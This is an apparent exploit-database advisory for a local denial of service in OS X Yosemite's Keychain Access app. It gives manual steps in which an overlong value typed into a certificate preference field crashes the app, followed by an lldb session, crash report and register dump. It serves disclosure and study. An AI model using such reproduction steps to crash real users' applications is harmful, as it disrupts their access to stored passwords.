OS X Keychain EXC_BAD_ACCESS Denial Of Service

`# Exploit Title: OSX Keychain - EXC_BAD_ACCESS  
# Date: 22/07/2015  
# Exploit Author: Juan Sacco  
# Vendor Homepage: https://www.apple.com  
# Software Link: https://www.apple.com/en/downloads/  
# Version: 9.0 (55161)  
# Tested on: OSX Yosemite 10.10.4  
# CVE : None  
  
# History - Reported to [email protected] 20 Jul 2015  
# Be careful: Crashing the Keychain will affect the user ability to use  
Keychain stored passwords.  
  
# How to reproduce it manually  
1. Select a certificate, right click "New certificate preference.."  
2. Under "Location or Email address:" add random values +9000  
3. Click on Add to conduct the PoC manually  
  
# Technically:  
Performing @selector(addCertificatePreference:) from sender NSButton  
0x608000148cf0  
  
# Exception type  
Exception Type: EXC_BAD_ACCESS (SIGSEGV)  
Exception Codes: KERN_PROTECTION_FAILURE at 0x00007fff4d866828  
External Modification Warnings:  
VM Regions Near 0x7fff4d866828:  
MALLOC_SMALL 00007f9e7d000000-00007f9e80000000 [ 48.0M]  
rw-/rwx SM=PRV  
--> STACK GUARD 00007fff4c7de000-00007fff4ffde000 [ 56.0M]  
---/rwx SM=NUL stack guard for thread 0  
Stack 00007fff4ffde000-00007fff507de000 [ 8192K]  
rw-/rwx SM=COW thread 0  
  
(lldb)  
Process 490 resuming  
Process 490 stopped  
  
* thread #1: tid = 0x19b7, 0x00007fff92c663c3  
Security`SecCertificateSetPreference + 325, queue =  
'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2,  
address=0x7fff4d866828)  
  
frame #0: 0x00007fff92c663c3 Security`SecCertificateSetPreference + 325  
  
Security`SecCertificateSetPreference:  
  
-> 0x7fff92c663c3 <+325>: callq 0x7fff92cf18b2 ; symbol stub  
for: CFStringGetCString  
0x7fff92c663c8 <+330>: movq %rbx, -0x670(%rbp)  
0x7fff92c663cf <+337>: testb %al, %al  
0x7fff92c663d1 <+339>: jne 0x7fff92c663d8 ; <+346>  
  
Process: Keychain Access [598]  
Path: /Applications/Utilities/Keychain  
Access.app/Contents/MacOS/Keychain Access  
Identifier: com.apple.keychainaccess  
Version: 9.0 (55161)  
Build Info: KeychainAccess-55161000000000000~620  
Code Type: X86-64 (Native)  
Parent Process: ??? [1]  
Responsible: Keychain Access [598]  
User ID: 501  
  
Date/Time: 2015-07-28 13:32:05.183 +0200  
OS Version: Mac OS X 10.10.4 (14E46)  
Report Version: 11  
Anonymous UUID: 08523B58-1EF8-DC4A-A7D7-CB31074E4395  
Crashed Thread: 0 Dispatch queue: com.apple.main-thread  
  
VM Regions Near 0x7fff507776c8:  
MALLOC_SMALL 00007ff93c800000-00007ff93e000000 [ 24.0M]  
rw-/rwx SM=PRV  
--> STACK GUARD 00007fff4e5d7000-00007fff51dd7000 [ 56.0M]  
---/rwx SM=NUL stack guard for thread 0  
Stack 00007fff51dd7000-00007fff525d7000 [ 8192K]  
rw-/rwx SM=COW thread 0  
  
rax: 0x0000000001e5e1a0 rbx: 0x0000000000000006 rcx: 0x0000000008000100  
rdx: 0x0000000001e5e1a0  
rdi: 0x000060000045b6c0 rsi: 0x00007fff507776d0 rbp: 0x00007fff525d5f30  
rsp: 0x00007fff507776d0  
r8: 0x0000000000000000 r9: 0x00007fff79e6a300 r10: 0x00007ff93c019790  
r11: 0x00007fff79147658  
r12: 0x000000000000002d r13: 0x00007fff507776d0 r14: 0x00007fff525d5880  
r15: 0x00007ff93ae41680  
rip: 0x00007fff901083c3 rfl: 0x0000000000010202 cr2: 0x00007fff507776c8  
`